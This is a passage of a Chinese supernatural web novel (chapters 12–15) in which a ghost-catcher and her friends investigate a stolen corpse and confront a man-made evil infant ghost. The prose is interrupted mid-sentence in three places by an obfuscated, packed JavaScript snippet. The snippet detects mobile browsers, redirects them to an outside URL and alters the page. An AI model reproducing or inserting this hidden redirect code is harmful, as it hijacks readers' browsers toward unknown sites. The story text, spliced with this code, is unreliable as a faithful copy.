话还没说完，外面就传来一声大叫：“啊——！救命啊师傅！” 办公室里的三人一惊，赶忙冲出去，只见苏靖希被一个高大的男人反手按在车前盖上，一张精致的脸被狠狠怼扁。 陈小志站在一旁手足无措，也被这个男人吓了一跳。 “左毅！”简灵看到这一幕忍不住哈哈大笑，拦住要冲上去的谢慈，“你放开他吧，他跟我一起来的。” 高大的身影闻言松开手，转过身来，露出一张黝黑俊朗的面孔，只是脖颈处有一道狰狞的伤疤，从耳朵划至锁骨。 左毅指着苏靖希，言简意赅：“他偷你车。” “胡说八道！”苏靖希揉着脸，气得跳脚，“是师傅让我来车里拿东西的！” 左毅带着询问的眼神看向简灵，只见她点了点头，笑得眼角溢出泪花。 “刚收的徒弟，还在试用期。”她走上前把后备箱的两大袋零食递给左毅，“给你们带的，有你喜欢的肉脯，还有招芙姐最爱的pocky棒，巧克力味儿的。” 说完她嫌弃地看着苏靖希：“你说你打不过谢慈就算了，也打不过左毅这个普通的殡仪馆员工，就你这小身板怎么抓鬼？要锻炼啊！” 苏靖希瞧着身高起码一米九，双开门状如牛的左毅，缓缓冒出一个问号：这普通吗？？ “行了，都在外面晒太阳干嘛，发霉了吗？”林昭芙站在门口喊道。 几人赶紧进屋，谢慈在经过苏靖希时严肃地拍了拍他的肩膀：“要锻炼啊。” 左毅虽没有说话，但也重重“嗯”了一声，跟着简灵进屋了。 “太惨了。”陈小志“啧啧”两声，苦口婆心地安慰道，“简大师不仅自己厉害，朋友也各个都是神人……苏靖希，要不咱还是回去当大明星吧。” 12. 深夜 几人围坐在桌旁，林昭芙呼啦一下把零食都倒在桌上：“今天还挺热闹，平时的平安除了办丧事都没这么多人过，鬼倒是不少。” 简灵一脸淡定：“今天也不都是人。” 众人：…… 不过在场的大概只有苏靖希比较害怕，但自己好死不死又是个活鱼饵，他谄媚地给简灵递了两盒零食。 旁边的左毅也默默拿了一小包肉脯递给她：“这个好吃。” “哦，谢谢，我不饿，你们也吃啊。” 看着他们让开让去的，林昭芙叼着一根pocky无语道：“爱吃吃不吃滚，让什么让，说正事。” 简灵赶紧问道：“左毅你刚才又去点了一遍，确定少的是陈欢仪吗？” 左毅肯定地点了一下头。 “也是奇了，要死去多时的尸身做什么……”谢慈拧眉，“是不是她的家人心疼女儿，不想火化，带回去直接下葬？” 林昭芙冷笑：“你把他们想的太好了，说不定就是卖女孩子的遗体去配冥婚的。” “如果真是心疼，他们大可以直接领走。”简灵摇了摇头，虽不大赞同偷去配冥婚这一说法，但也没有头绪。 她处理过不少这类工作，这种买家都是些思想落后的封建顽固，一般都要求没有婚配的少女，有些甚至会卡年龄和八字，怀过孕生过子的基本不会有人买。 “总之等深夜再查一下吧，说不定真是自己跑的呢。”她嘻嘻一笑，“现在也没办法证明是被人偷的……” “什么被人偷了？” 一个陌生的声音传来，众人一惊，齐齐扭头看去，居然进来两个警察叔叔。 “诶我去！”苏靖希更是吓了一大跳，手忙脚乱地翻出墨镜戴上，尽可能地缩在桌子后面。 “真热啊今天。”警察叔叔关好门，用手不停地扇风，“还是你们这儿凉快，空调开得足足的——哟，今儿这么热闹。” 另一个高个子警察扫视一圈：“你们主任呢？” 林昭芙主动站起身：“主任出差去了，说是周末才回，我现在是平安的负责人，请问有什么事吗？” “我认得你。”高个子警察点点头，漫不经心地样子，目光却锁定在苏靖希身上，“我们是四久山派出所的。” 他用手肘怼了下同事，径直朝最里面走去，停在苏靖希边上：“这位先生，请你把墨镜摘了。” 苏靖希讪笑，老老实实摘了墨镜。 高个子警察仔细看了看，眉头皱起：“在室内戴什么墨镜。” “哟，好像是个明星？我女儿经常在家看你演的偶像剧来着……”另一个警察恍然大悟，“姓苏是吧？” “哈哈……是的，是我是我。” 高个子警察冷冷地问：“明星？你来这里做什么，办丧事吗？” “……对。”苏靖希欲哭无泪，总不能说自己是来这儿捉鬼的吧！ “办丧事……”高个子警察脸色狐疑，审视了一圈，“我看你们好像挺高兴的样子。” 众人一时哑口无言。 “今天我们是来送一位朋友的。” 简灵站起身来，笑着给他们递了两瓶水：“这位朋友被折磨了三年，生不如死，人生暗无天日，现在终于可以解脱了，我们虽有遗憾但也为他高兴……算是喜丧。” 旁边的陈小志微微一怔。 这说法乍一听以为是被病痛折磨，但陈小志怎么不算是被关在暗无天日的地方，受了三年折磨呢？ 警察点点头，算是接受了这个说法，从包里拿出一张照片给大家看。 “你们最近有没有见过这个人？” 照片上是个精瘦的中年男人，头发稀疏，眼睛细长，脸上布满了深深的褶皱，眉毛上还有一颗黑痦子，皮肤粗糙黑黄，一看就是常年在户外做活的。 几人都摇了摇头说没见过，林昭芙紧张道：“这人是怎么，犯事了？可别吓唬我，平时我们这儿人可少了。” “没犯事，放心，其他的别多问。” 高个子警察收好照片，只叮嘱他们如果见到了这个人记得及时联系。 警车一下山，林昭芙就收起了那副紧张兮兮的表情。 她敲了敲桌子，语气笃定：“那个人是陈欢仪的父亲。” 几人皆是一惊，苏靖希问：“你不是说没见过吗？！” “他们问的是最近，最近我的确没见过。”林昭芙耸耸肩，“我上次见还是半年前，他把陈欢仪送来的时候。” 简灵思索片刻：“既然他不是犯事，那就只能是失踪了——而正好陈欢仪的遗体也不翼而飞，有这么巧么？” …… 夜色渐深。 简灵把平安里里外外都检查了一遍，没有发现有什么妖魔鬼怪出现的痕迹。 殡仪馆地方特殊，在里面工作的人往往也都命硬得很，一般游魂野鬼反而也不太靠近。 “冻库出来之后走大门肯定会被拍到，但是刚才我们试了下，从这里贴着墙走可以避开监控，然后从走廊尽头的窗户翻出去。” 简灵让左毅和谢慈都背着最瘦小的林昭芙试了下，左毅个子很大，即使微微弯腰，也会擦着摄像头过去，被拍到一部分身影。 “谢慈也只是刚刚好。”简灵略作思考，“所以想把陈欢仪偷出去，只能是比谢慈还矮一点、并且力气较大身手灵活的人才能做到。” 左毅伸手大概比划了一下，回忆片刻：“陈欢仪父亲很瘦小，到这里。” “那他岂不是很有嫌疑！” 林昭芙摇摇头：“但他现在失踪了。” 折腾到了凌晨两点，事情到这里暂时没有什么进展了，只能把这件事先放一放，来办今天的正事。 趁着简灵准备的功夫，苏靖希拉着陈小志在一旁叨叨，教他怎么在梦里吓唬表哥。 “你一定要记住了他们一家的名字哦，等会儿你挨个儿点名，吓不死他！” 苏靖希已经看习惯了陈小志的样子，现在的陈小志其实除了没有眼白有点吓人，其他的完全就是一副加了几个星期的班后满脸憔悴的微死社畜罢了。 挺惨的。 他拍了拍谢慈：“谢慈姐，你之前吓唬我那样还记得吗，可吓人了！你给他看一眼，让他学学。” 谢慈压根儿懒得理他。 看苏靖希苦口婆心的样子，简灵笑着起身：“你就别教他了，陈小志，拍过恐怖片吗？” 陈小志眼睛一亮，立刻理解了她的意思。 “我拍过好多呢！懂了，我就照着恐怖片里演！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180922|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对喽！” 一切准备就绪后，房间里的大灯全关，只留下一盏昏暗的小灯，林招芙和左毅看不到鬼，对这事也兴趣不大，一个趴在桌上玩手机，另一个坐在桌边望着窗外发呆。 待陈小志走到阵中间，简灵点燃了那节牛角，轻轻地放在他面前。 “牛角香对醒着的人没有影响，却会吸引怨鬼入梦。”简灵轻声说，“这个阵法会带你找到你的表哥，不管你是吓唬他还是要他还钱都行。” 陈小志点点头，听着简灵的念诵声缓缓闭上眼睛。 关好门窗的房间无端生起一阵阴风，苏靖希顿时有些后悔留在这里了，他左右看看，悄悄往左毅身边靠了靠……嗯，好歹这边两位都是人。 风穿过窗户缝，如婴孩的啼哭一般，刺耳又瘆人。 陈小志的身影变得更加淡，双目紧闭，眉头皱着，时不时发出些惊声怪叫，偶尔还伴随着呜咽的哭声。 单看这一幕可能觉得吓人，但一想到陈小志是在故意吓唬表哥，全是照着恐怖电影里演的，顿时就觉得有些好笑了。 过了大约不到半小时，陈小志猛地打了个激灵，睁开空洞的眼睛就发了狠忘了情，张牙舞爪地继续吓人。 “收！”简灵冷静道。 “啊，结束了吗？”陈小志茫然地挠了挠头，“我还演过瘾呢。” “他应该是被吓醒了，半小时差不多，再长就是魇鬼才能做到的了。”简灵看了一眼时间，“成果怎么样？” 说到这个陈小志可不困了，生动地描述着那个表哥被吓得求爷爷告奶奶的样子：“他根本就不认识我！我妈妈跟他爸是兄妹，只不过很早之前就跟家里割席了，跟他家一点关系都没有。” “就这样还有脸干这事？” 林招芙听到连头都没抬，冷哼一声：“多了去了，你们都不知道人为了争遗产能变成什么鬼样子。” “嗐……”陈小志叹了口气，“我也没什么钱，现在搞清楚了情况也没什么遗憾了，反正我现在也是个鬼……鬼啊！！” 突然拉高的声音把几人吓了一跳，简灵顺着陈小志颤抖的手看去，门不知什么时候被缓缓推开，一个瘦小的老头就这么静静地站在门口。 昏暗的灯光从他的头顶打下，镀上一层诡异的冷光，老头面无表情，甚至看不清眼睛是否睁着。 林招芙察觉到动静，扭头看去：“方爷爷，这么晚你怎么来了？” “方爷爷？” “哦，这是平安的守墓人方爷爷，平时不住这儿。”简灵好笑地看着陈小志，“你自己都是个鬼，你怕什么啊。” 方爷爷似乎习惯了简灵跟空气对话，只淡淡地对她点头打了个招呼。 “是、是人啊……” 苏靖希被吓了一跳，松了口气靠在窗边，冷汗流了一身：“吓死我了陈小志，你、你怎么大惊小怪的，胆子也太小了！” “你还好意思说我呢！你……” 陈小志的话停在嘴边，愣了一下，脸色大变，指着苏靖希：“你身后……好、好像有鬼……” “嘁，同样的招式第二次还有用嘛。”苏靖希不屑。 可简灵缓缓起身，手中已经捏起一张黄符，神色犀利地盯着苏靖希身后： “你们三个，过来。” 13. 拔生魂 左毅第一个反应过来，他起身把另外两人护在身前，动作既轻又缓，逐步向简灵靠近。 “什么情况……”苏靖希完全没敢回头，脖子后面的汗毛都竖起来了，阴冷之气源源不断地爬上来，令他头皮发麻。 短短几米的距离他们像走了一百年那么漫长，而窗外的那只鬼也缓慢地穿过窗户，飘进了屋内。 终于走到简灵跟前，左毅迅速转身站在简灵身边，帮忙挡住身后的人，他看不到鬼，在抓鬼这方面帮不上什么忙。 一时间房间里静得连一根针都能听见，直到那只鬼完全进来，大家才看清它的样子。 那是一个中年男性，穿着陈旧的短袖和裤子，裤脚都磨损出了毛边，脸上停留着惊恐的神情，空荡荡的眼眶里溢出荧绿的光，眉毛上赫然有一颗黑色的痦子。 苏靖希倒吸一口凉气：“好像是陈欢仪的父亲？” “什么？！”林招芙震惊，“他死了？” 简灵没有说话，只紧紧盯着陈父，可它似乎对其他人都没有兴趣，悄然向着陈小志飘去。 “陈小志。”简灵观察了一阵，冷静喊道，“陈小志，慢慢后退，走出那个圈。” 陈小志虽然也是个鬼，但三年来一直被关着，根本没有作为一只鬼的见识，也没干过啥伤天害理的事情，本质还是人类的思想。 这是他首次面对“同类”，他缓缓挪动着脚，一点点后退，紧张地胡言乱语：“鬼之间会不会有大鱼吃小鱼小鱼吃虾米的食物链啊……” “会，而且你俩都姓陈，说不定他吃了你还大补呢。” 陈小志欲哭无泪，都什么时候了她还有心思开玩笑。 就在陈父踏进圈子的那一刻，简灵飞身上前，手中黄符翻飞，几下便布好了一个锁魂阵，紧接着口诀声响起，黄符无风飘动，升起一道牢笼将陈父困在其中。 可她忙忙碌碌地做这一切的时候，陈父仿佛一个完全无知觉的鬼，没有任何反应，只呆愣愣地站在阵中间。 “他怎么像个傻子？”苏靖希疑惑。 林招芙不知发生了什么，问身旁的谢慈：“怎么回事？” “不知道。”谢慈仔细打量着陈父，身为同类，能感受到它身上残留着一股不属于它强大的气息，“他没有任何反应和表情，也不说话，简直就像个……活死人。” 简灵伸手在陈父面前一挥，亮起一道绿光，她微微皱眉：“如果他没死，可能真是个活死人了。” “什么意思？” “他的魂没了。” “这……难道他不是鬼魂吗？”苏靖希大为不解，人看不见但他和简灵能看见的不应该是鬼魂吗？ 简灵点了点头，又摇摇头：“是鬼，但魂在生前就没了。” 她开了灯，亮如白昼的房间终于让大家松了口气，一个个放松了崩紧的神经，东倒西歪地坐下。 “人有三魂七魄。”简灵解释道，“在死后一般都会完整地转世，或者因为种种原因少了一魂几魄的都没关系，只要有一魂在，就会在漫长的时间中逐渐恢复——像陈小志和谢慈这样都是生前没什么异样的，但是陈欢仪的父亲……在生前魂就没了。” “那现在这个是？”谢慈问道。 “仅剩了一魄，应该在周围游荡时被牛角香吸引了过来。”简灵思索片刻，也没什么头绪。 “那意思是……”林招芙顿了顿，“他人已经死了。” 简灵点头：“不仅如此，魂也没了，这仅剩的一魄估计支撑不了多久，很快就会消失，也就是……魂飞魄散，神魂俱灭。” 拔生魂。 简灵已经很久没有听说过了。 拔生魂在很久以前被一些恶毒的修道之人用来提升道行，但因太过残忍，用过的人都道心不稳，最后的下场就是走火入魔，自己化身成为了恶鬼。 所以这一手段在很久之前就失传了。 至于恶鬼……简灵虽是专抓它们的，但现代社会里也很少见了，它们往往都徘徊于往世出入口附近，如今的出入口基本都被封禁，鲜少有恶鬼流窜。 国人对转世这种事情算是比较有执念的，不然也不会有永世不得超生这种诅咒了，大家听到陈父遭受这种下场，也沉默了许久。 “他究竟是遭遇了什么？” “暂时不知道。”简灵叹气，“要么是同行，要么是恶鬼，但当务之急无论是哪一种情况都要查清楚，免得再有人遇害。” 就在这时，站在门口许久的方爷爷突然开口，缓声说：“刚才我在附近好像听到有喊声。” “什么？！”几人一惊，转头看向他。 方爷爷仿佛许久没有开口说话了，组织语言都有些费劲，断断续续地讲着：“墓地周围，晚上有点动静也不奇怪，刚开始我没有多想……但越想越清醒，总觉得好像是人的声音。” 简灵问：“喊的什么？” “好像在喊……救命。” * 因为还不知道究竟有什么潜在的风险，简灵让他们都留在馆里，只带了谢慈和苏靖希出去找线索。 苏靖希的内心是拒绝的。 “你还不如带陈小志呢，他起码是个鬼对吧？”他倒是理直气壮地瑟缩回去，“我一个普通人，去了只会拖你后腿！” “放心，我会保护你，一根头发丝都不会让你掉。” 苏靖希泪流满面：“为什么一定要是我啊……” “第一你是人，肩能扛手能提。第二你能看见鬼，方便行事。第三……”简灵顿了顿，“你可以当诱饵。” “？？？”苏靖希大惊失色，跳起来就想往回跑，但简灵不语，只笑眯眯地拽着他走出大门。 他一步三回头，陈小志满脸遗憾地朝他挥挥手：“加油苏靖希，我相信你能成为一代大师！” 深夜的四久山凉气逼人，阴风阵阵。 三人疾步往守墓人小屋赶去，幸好现代化的山路平缓好走，放眼望去，一层一层黑压压的墓碑排列整齐，看起来庄严而肃杀，弱化了几分阴森的感觉。 ——如果看不到偶尔飘起来晃悠的鬼就更好了。 简灵站在方爷爷平时住的小屋前，凝神仔细感知着附近的气息，可这里可是公墓，最不缺的就是鬼，感知异样的气息不易于大海捞针。 “我在附近找找。”谢慈招呼了一声，身手矫健地在公墓中窜来窜去，把途经的孤魂野鬼吓得花容失色。 苏靖希不敢离简灵太远，只在小屋周围小声嘀咕着：“这屋怎么这么暗啊，晚上就这点小亮光，方爷爷是一点不怕吗……” 小亮光？ 简灵的目光落在门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180923|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一盏老式电灯上，那灯估计是电路老化有些接触不良，时不时还微微闪几下。 “如果真是人类的呼救声，那么在夜深人静的公墓山上……” 闻言苏靖希也看向那盏灯，恍然大悟：“如果是我，肯定会往有灯灯这边跑！” 两人同时回头，电灯正对的方向是这片墓园和山壁的分隔带，山壁上是密集的树林。 略一思忖，简灵往公墓跑去，迎面遇到一只本来想吓唬他们的鬼，结果吓人不成反而看到简灵目标明确地向自己冲来。 野鬼吓了一跳，本能地害怕简灵身上散发出来的气息，转身就想跑，被几步追上一巴掌拍在它自己的墓碑上。 “诶诶诶——女侠手下留情啊！”野鬼惊呼，他很少能在半夜遇到守墓人之外的人类，没想到踢到了铁板上，“对不起我错啦！我不该吓唬你们呜呜呜——” 简灵松开手，坐在他隔壁的墓上：“问你点事儿。” 野鬼两腿胡乱一蹬，赶紧老老实实坐好，比小时候遇到班主任还要害怕：“您说。” “师傅你等等我师傅……”苏靖希追着简灵的背影跑过来，累得气喘吁吁，抬起手想扶着墓碑歇会儿吧……又觉得不好，像简灵那样直接坐上去更是不敢，只能手足无措地站在一边。 野鬼偷偷觑了一眼苏靖希，发现这个人也能看到它。 得了，今天遇到两尊大神，真是出门没看鬼历。 “这是你啊？”简灵瞟一眼墓碑上的名字，徐棋，死于十五年前，“你在这儿游荡十五年了？” 野鬼点了点头：“一开始是没走成，现在是不想走了，偶尔还能看看我儿子带着孙女来看我呢，他们……” 谁知道一说起后代们它就开始喋喋不休，像是终于逮到个能听自己说话的，话密得让人插不进嘴。 简灵抬起手：“停！再说把你塞回墓里，让你出不来也走不成。” 徐棋立刻闭嘴。 “你在这儿十五年了，有没有见过偷遗体的？”简灵问道。 “刚开始有的。”徐棋回想着，“那会儿管理不是很严，有些人会砸开墓，偷东西偷遗体的都有，一般我们这边的野鬼都会集合起来去吓唬他们。” “最近呢？” “这些年还真没见着了……现在都是监控，守墓人也天天巡逻，管的挺严。”徐棋想了想，“有时候我们会在公路边坐着，晚上偶尔也能看到拉着遗体上下山的。” 简灵摸了摸下巴，追问道：“三个月到半年前，你们有没有见过从半山腰拉遗体下来的？” 徐棋抠了抠脑袋，半晌眼睛一亮，指着远处的树林： “还真有！不过走的不是公路。当时都半夜了吧，有两个人拉着板车走小路给拖到对面的林子里了，我们的活动范围就这么点儿，没跟上去看……当时我们还猜呢，估计是太穷了买不起墓，就只能拉到山上草草埋了吧，也是可怜人。” 两人立刻对视一眼，简灵站起身来：“你刚才有没有听到有人在喊叫？救命什么的？” 没想到徐棋突然露出惊恐的神色，不可思议地盯着简灵，马上一个鲤鱼打挺钻回自己的墓里，只露出半个身子，小心翼翼地指着对面的树林： “有、有的！刚才就在那边，还有股能把我撵死的能量……难道不是您？” 14. 它是恶鬼 就这一会儿的功夫，附近游荡的野鬼有些已经被苏靖希吸引了过来，好奇地在他们周围张望着。 “阴差？” 一只野鬼突然开口，像是认出了简灵的身份。 简灵微眯起眼盯着它，那野鬼吓了一跳，赶忙摆摆手：“我没有别的意思，就是游荡这么多年，已经许久没见过阴差了，好奇罢了。” 说完它还往前两步跟简灵告状：“阴差大人你帮帮我们吧——” “怎么说？” “它们鬼生还小见识短，估计把最近时不时出现的那股力量当成了您。”那野鬼坐在徐棋的坟头哭诉，“但我绝对不会认错，那玩意儿是恶鬼。” “恶鬼？！” 周遭的游魂野鬼们哄闹成一团，大惊失色，魂不附体。 要知道来个道士收了它们可能还是转世投胎，要是个恶鬼，那它们的下场只有一个个被当成鱼粮吞噬，它们就是食物链中的小虾米。 简灵声音骤然冷下来：“你确定吗？” “我确定。” 如今和平社会，能自然生成的恶鬼很少见了，而各处的往世之门也基本被封得差不多了，从地府流窜出来的恶鬼也很罕见。 这附近都是成片的公墓，诞生出一只恶鬼还真有可能。 时间不等人，简灵立刻起身向刚才徐棋指的方向追去，三人翻过公路与山林之间的护栏，往树林中深入。 夏夜黏腻的夜风中掺杂着一丝阴冷，在树林中穿梭而过，发出阵阵鬼泣般的呜咽声。 “太黑了。”简灵从包里摸出一支很小的强光手电筒，苏靖希也打开手机的闪光灯，在林子里到处摇晃寻找着。 谢慈跟在最后，仔细感受了半晌：“没感觉到有异样的气息。” “是没有，但是……”简灵的鼻子动了动，“有死人味儿。” “你你你别吓人……” 简灵没有吭声，她能闻到的死人味并不是血腥，而是作为阴差的一种感觉。 苏靖希悄声咽了下口水，壮胆似的把手机灯到处照，猛然间手一抖，手机直接掉到地上。 “那边！那边是不是有个人！”他手忙脚乱地在地上捡起手机，慌忙往简灵身边靠，“就那个树边上。” 灯光所照之处，一个人影坐在地上背靠着树干，一动不动。 谢慈几步走上去试探鼻息，又摸了脖颈处，缓慢地摇了摇头：“死了。” 苏靖希倒吸一口凉气，语气里带着颤抖：“这里怎么会有死、死人啊！” “有什么大惊小怪的。”简灵淡淡道，向那边走去，“公墓不是遍地都是？” 苏靖希：“？这能一样吗，那些在地底下，这个在地面上……” 死者是个中年男人，看起来跟陈欢仪的父亲差不多大，仰面靠在树上，睁着眼睛露出惊恐的神色，满脸狰狞，像是看到什么恐怖的东西。 简灵伸手点在他额头上，心中一沉：“拔生魂。” “又是？”两人都震惊，“跟陈父一样吗？” “嗯。”简灵手掌微微使力，将他的双眼合上，“只不过他连一魄都没留下。” “真残忍。”谢慈叹气，她是经历过死亡的，虽说一个鬼孤寂地过了这么多年，但好歹意识尚存。 简灵面上已经快要挂上冰霜。 她摸出一张黄符夹在指尖，用拇指的指甲轻轻一划，血迹渗入符纸，发出滋滋烧焦的声音，不一会儿黄符便烧成了灰。 “既是恶鬼，那就别想跑。”简灵的声音中含着隐隐怒气，双指一搓，符灰扬洒在半空中，化成丝状在死者的周围绕着飞。 那符灰绕了几圈，挑了个方向自顾自飘走了，而简灵轻轻眨了下眼，黑暗的世界在她眼中一览无余，那符灰经过的方向飘着红得发黑的气息。 “苏靖希，立刻打电话给馆里让左毅他们来处理。”简灵起身欲追符灰，叮嘱两人，“谢慈你陪他一起。” 就苏靖希那体质，把他一人留在这里分分钟就被游魂野鬼们生吞了。 说完简灵马不停蹄地追赶上符灰，穿梭在山林中也如履平地，破林而出后从一层层公墓中穿过，一路往山下跑去。 那恶鬼的气息也愈发浓厚。 前面就到了四久山的山脚，看着那几排笼罩在夜色中的旧房子，简灵心中微沉，恶鬼怕不是已经进了这个老小区。 不知为何，恶鬼的气息在小区中却收敛了许多，像是知道自己的气息对人类有影响一样。 这个小区还是那种带有半开放走廊的五层老房子，走廊上家家户户都还晾着衣服，入住的人不多，此时又是凌晨，放眼望去只有二楼的一户还亮着灯。 符灰就停在那户亮灯的门口。 简灵悄无声息地上了二楼，那户人家门口晾着几件婴儿的小衣服，还有滴下来的水渍，应是刚洗了不久。大门边的窗户下是一个简易的灶台，大锅小锅都洗的干干净净，整齐地码在一边。 窗户那段闪着影影绰绰的暖光，像是烛火在微微晃动，还隐约传来女人轻柔的声音，偶尔还夹杂着几句哄孩子睡觉的歌声。 “小欢耀，睡觉觉，长身体，吃饱饱……” “真乖啊我的乖宝贝。” “天都快亮了……你爸怎么还不回来啊……” 女人听起来打了个长长的呵欠，语气中带着困倦，听起来似乎快要睡着了。 静静等了一会儿，简灵的手覆上窗户极轻地移开一个小缝，连呼吸都放轻了，从缝隙往里看去。 屋内跟外面差不多，入眼都是陈旧简易的家具，边角木屑都有些脱落的电视柜上没有电视，只放了一台电风扇，慢悠悠地转着，发出吱吱呀呀的声音，吹过来潮热的风还裹挟着一股放久了的奶臭气。 估计是为了哄孩子睡觉，所有的灯都关了，只留着柜子上一盏……台灯吗？ 简灵眯起眼睛仔细看，那盏灯散发着晃晃悠悠的光，竟然是一盏烛台？里面放着半个粗蜡烛，火苗微弱，几乎快要燃尽了。 这年头居然还有人用烛台吗？ 目光移到墙边的沙发上，一个妇人正有一搭没一搭地拍着怀中的婴儿，脑袋点啊点的，很快就靠在沙发上睡着了。 房间的空气中还残留着恶鬼的气息，淡淡的，缓慢地向熟睡的妇人靠拢。 简灵还未动，妇人怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180924|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的婴儿忽然动了。 他“咿呀”一声，缓缓转过头来，紧闭的眼睛倏然睁开，露出两个黑洞般的眼眶！ 无魂恶婴。 简灵骇然，这恶鬼竟然真是人为制造出来的！ 就在她惊觉之时，恶婴也已经完全发现了她，缓慢地从妇人怀里抽身出来蹦在地上，像学步的普通婴孩一般晃晃悠悠地走出大门。 简灵手中诀已经掐好，可这小区内活人不少，如果引发大动静可能会伤害到他们—— “啊呀……” 恶婴瞬间从地上弹起，双眼漆黑空洞，口中却发出婴孩学语的声音，要多诡异有多诡异。 简灵一咬牙，收了诀从二层走廊直接翻身下去，恶婴一个大跃也跟了上来，就在小手快要碰到肩膀的时候简灵猛地窜了出去，直奔背后的四久山。 幸亏小区后面就有一块空地，那恶婴速度极快，在空地上追着缠斗，简灵也顾不上他，只拔出簪子用嘴咬开粗的那头，露出一支拇指粗的小木剑。 就在此时，婴儿小手带着浓郁的血雾，跳起来就往简灵脸上扒去。 “别扒拉脸啊你这个熊孩子！”简灵往后一个弯腰滑铲躲过攻击，“你那恶心的血雾可是会毁容的。” 话音还没落下，她就地布阵，握着小木剑在草地上飞快地划着。 “律令召雷，烈火焚形……” 简灵口中振振有词，感到不对的恶婴一个暴起向她抓去！ “跟你说了别碰我……”简灵脚下一旋，闪身到恶婴后面一个飞踢，“恶心。” 恶婴暴怒，刚要起身耳边却响起清脆的铃声。 那铃声仿佛带着某种力量，让它怎么也爬不起来，像个真正的婴儿一般急得发出哭泣之声，咿咿呀呀的，在夜晚听着更加令人心碎。 简灵不知什么时候，手中多了一支三清铃。 她微微喘气，手中的铃摇三震七，将恶婴镇得动不了，另一手摸出黄符，准备给恶婴最后一击。 “——欢耀啊！” 凄厉的喊声令简灵眉头一皱，她来不及阻止，就看到刚才那个妇人从她身边飞奔过去，一把将恶婴拥在怀中。 “不要伤害他啊……不要伤害我的宝贝啊！” “小欢耀不哭啊，妈妈在呢……” 妇人将恶婴整个保护在怀中，如同一堵坚硬的铜墙铁壁，将隐隐雷鸣烈火都杜绝在外面。 真字诀引出可以焚化恶鬼的烈火和惊雷对普通人同样也是有伤害的，如果想解决恶婴，那妇人要肯定也完蛋。 简灵皱起眉头，这下难办了。 “你让开吧，它不是你的儿子，它是你孵化出来的恶鬼。” “他就是我儿子！！”妇人微微抬起头，脸上布满了远超于年龄的沧桑与憔悴，眼眶湿红地盯着简灵。 妇人已经完全疯魔了一般，明明看见怀中婴儿不是正常孩子的模样，却依然当成心肝宝贝一般护在怀里。 为母则刚？ 并不是这样吧。 “现在终于想起来保护你的孩子了。”简灵不屑一顾，声量逐渐拔高，“那陈欢仪呢？她就不是你的孩子吗？” 15. 骨盏烛灯 “简灵！” 没想到谢慈和苏靖希也赶了过来，简灵头也没回：“你们怎么来了？” 苏靖希气喘吁吁：“开什么玩笑，怎么能让你一个人……虽然我打架可能帮不上忙……” 他虽没看到妇人怀中的恶婴，但也明显感觉到异样，吸入一口冰冷的空气仿佛瞬间渗入骨髓，从内而外的令人胆寒。 “左毅他们已经过去守着尸体了，放心。”谢慈立刻回到，眼睛一眨不眨地盯着那边，散发出来的邪恶气息令她都感到不适。 简灵“嗯”了一声，依然死死盯着妇人：“她怀里保护的就是那只恶鬼。” 一时间他们也都没办法，只能等妇人主动松开手，或者让恶婴离开她。 “你知道我们发现了谁的尸体吗？”简灵也不急，反而主动开口。 妇人听到这句话明显僵了一下，沉默不语。 “是陈欢仪的父亲，你的丈夫。”简灵冷冷道，“他死了，你知道吗？” 听到丈夫的死讯，妇人缓缓抬起头，瞳孔因为震惊而放大，嘴唇颤抖着却一个字也说不出来。 “他是在活着的时候灵魂被生吞活剥，一魂一魄都被你怀中的恶魔吃抹干净，在痛苦挣扎中一点一点地死去……”简灵的声音愈发冷淡，缓缓叙述着拔生魂的过程，“人都有前世来生，可你丈夫现在已经上不了天堂也下不了地狱，魂飞魄散了。” “不……”妇人从喉咙里挣扎着发出声音，含着巨大的痛苦与不可置信，低下头跟怀中的恶婴对视。 恶婴的眼眶空空，如黑洞般吸附着她的每一根神经，明知他是恶鬼，可发出的咿呀学语声让她不忍放手，大颗大颗的泪珠滴落，妇人埋下头呜咽哭泣。 “求你放过他……” “欢耀是……我跟他爸，好不容易求来的儿子……” “求你……” 妇人的话瞬间点燃了简灵心中怒火，她不再等待，抬脚朝她一步一步走去。 “好不容易求来的儿子？”她的声音冰冷的如同置身寒冬腊月，寒风裹挟着也压抑着她的攻击性，“用你女儿的尸骨求来的吗？” “什么？！”谢慈和苏靖希浑身一震，没明白她的意思。 那妇人更是抖如糠筛，也不知是害怕简灵，还是害怕这件被拆穿的、骇人听闻的事情。 简灵一步步向她靠近。 “陈欢仪才十五岁就怀孕，你们是故意的，还是……将她卖了？” 她一点一点地试探妇人，每蹦出一个字，那妇人都颤抖一下。 